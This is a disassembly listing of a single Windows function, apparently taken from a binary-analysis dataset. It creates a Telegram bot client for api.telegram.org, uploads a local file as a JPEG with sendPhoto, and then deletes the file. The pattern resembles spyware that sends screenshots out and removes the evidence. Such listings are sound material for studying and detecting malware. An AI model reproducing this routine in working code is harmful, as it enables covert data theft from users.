Function at 0x14004e2b0
Capabilities:
Delete file

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
push rdi
sub rsp, 0x290
mov rax, qword [0x14008e040]
xor rax, rsp
mov qword [rsp + 0x280], rax
xor edi, edi
xorps xmm0, xmm0
movups xmmword [rsp + 0x200], xmm0
movups xmmword [rsp + 0x210], xmm0
movups xmmword [r11 - 0x78], xmm0
movups xmmword [r11 - 0x68], xmm0
movups xmmword [r11 - 0x58], xmm0
movups xmmword [r11 - 0x48], xmm0
movups xmmword [r11 - 0x38], xmm0
movups xmmword [r11 - 0x28], xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x80], xmm1
lea r8d, [rdi + 0x18]
lea rdx, str.https:__api.telegram.org
lea rcx, [rsp + 0x70]
call fcn.14006ce70
nop
call qword [sym.imp.TgBot.dll_private:_static_class_TgBot::HttpClient____ptr64___cdecl_TgBot::Bot::_getDefaultHttpClient_void_]
mov rbx, rax
lea rdx, [0x14008e160]
lea rcx, [rsp + 0x1c0]
call fcn.14006b160
lea r9, [rsp + 0x70]
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x200]
call qword [sym.imp.TgBot.dll_public:_void___cdecl_TgBot::Bot::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char____class_TgBot::HttpClient_const____ptr64__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64____ptr64]
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0xf
jbe 0x14004e3a5
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e3a0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004e3a0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140070a70
movdqa xmm0, xmmword [0x140080510]
movdqu xmmword [rsp + 0x80], xmm0
mov byte [rsp + 0x70], 0
lea rcx, [rsp + 0x1e0]
call fcn.14004c130
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x140], rdi
movups xmmword [rsp + 0x100], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x110], xmm1
xor r8d, r8d
lea rdx, [0x14007631f]
lea rcx, [rsp + 0x100]
call fcn.14006ce70
nop
lea rax, [rsp + 0x120]
mov qword [rsp + 0x90], rax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x120], xmm0
movups xmmword [rsp + 0xe0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xf0], xmm1
mov r8d, 0x4d
lea rdx, [0x14007d8c0]
lea rcx, [rsp + 0xe0]
call fcn.14006ce70
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0xc0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xd0], xmm1
mov r8d, 0xa
lea rdx, str.image_jpeg
lea rcx, [rsp + 0xc0]
call fcn.14006ce70
nop
lea r8, [rsp + 0xc0]
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0x188]
call qword [sym.imp.TgBot.dll_public:_static_class_std::shared_ptr_class_TgBot::InputFile____cdecl_TgBot::InputFile::fromFile_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const____ptr64_]
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x150], xmm0
mov rcx, qword [rax]
mov qword [rsp + 0x150], rcx
mov rcx, qword [rax + 8]
mov qword [rsp + 0x158], rcx
mov qword [rax], rdi
mov qword [rax + 8], rdi
mov dword [rsp + 0x148], edi
mov rax, qword [0x14008f878]
mov qword [rsp + 0x1a0], rax
mov dword [rsp + 0x198], edi
mov byte [rsp + 0x68], 0
mov dword [rsp + 0x60], edi
mov byte [rsp + 0x58], 0
mov byte [rsp + 0x50], 0
lea rax, [rsp + 0x130]
mov qword [rsp + 0x48], rax
mov byte [rsp + 0x40], 0
lea rax, [rsp + 0x100]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x120]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], edi
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x148]
lea r8, [rsp + 0x198]
lea rdx, [rsp + 0x178]
lea rcx, [rsp + 0x220]
call qword [sym.imp.TgBot.dll__sendPhoto_Api_TgBot__QEBA_AV__shared_ptr_VMessage_TgBot___std__V__variant__JV__basic_string_DU__char_traits_D_s]
mov rbx, qword [rsp + 0x180]
mov edi, 0xffffffff
test rbx, rbx
je 0x14004e59e
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14004e59e
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, edi
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x14004e59e
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
mov rbx, qword [rsp + 0x190]
test rbx, rbx
je 0x14004e5d3
mov eax, edi
lock xadd dword [rbx + 8], eax
cmp eax, 1
jne 0x14004e5d3
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
lock xadd dword [rbx + 0xc], edi
cmp edi, 1
jne 0x14004e5d3
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
nop
mov rdx, qword [rsp + 0xd8]
cmp rdx, 0xf
jbe 0x14004e619
inc rdx
mov rcx, qword [rsp + 0xc0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e614
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004e614
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140070a70
movdqa xmm0, xmmword [0x140080510]
movdqu xmmword [rsp + 0xd0], xmm0
mov byte [rsp + 0xc0], 0
mov rdx, qword [rsp + 0xf8]
cmp rdx, 0xf
jbe 0x14004e678
inc rdx
mov rcx, qword [rsp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e673
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004e673
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140070a70
movdqa xmm0, xmmword [0x140080510]
movdqu xmmword [rsp + 0xf0], xmm0
mov byte [rsp + 0xe0], 0
mov rdx, qword [rsp + 0x118]
cmp rdx, 0xf
jbe 0x14004e6d7
inc rdx
mov rcx, qword [rsp + 0x100]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e6d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004e6d2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140070a70
movdqa xmm0, xmmword [0x140080510]
movdqu xmmword [rsp + 0x110], xmm0
mov byte [rsp + 0x100], 0
lea rcx, [rsp + 0x130]
call fcn.14006a6a0
lea rcx, [rsp + 0x1e0]
cmp qword [rsp + 0x1f8], 0xf
cmova rcx, qword [rsp + 0x1e0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x80], xmm1
mov r8d, 0x1e
lea rdx, [0x14007d920]
lea rcx, [rsp + 0x70]
call fcn.14006ce70
nop
lea rcx, [rsp + 0x70]
call fcn.140043e30
nop
mov rdx, qword [rsp + 0x88]
cmp rdx, 0xf
jbe 0x14004e798
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e792
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004e792
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140070a70
nop
mov rdx, qword [rsp + 0x1f8]
cmp rdx, 0xf
jbe 0x14004e7de
inc rdx
mov rcx, qword [rsp + 0x1e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004e7d9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004e7d9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140070a70
movdqa xmm0, xmmword [0x140080510]
movdqu xmmword [rsp + 0x1f0], xmm0
mov byte [rsp + 0x1e0], 0
lea rcx, [rsp + 0x200]
call fcn.14004e060
nop
mov rcx, qword [rsp + 0x280]
xor rcx, rsp
call fcn.1400707f0
mov rbx, qword [rsp + 0x2a0]
add rsp, 0x290
pop rdi
ret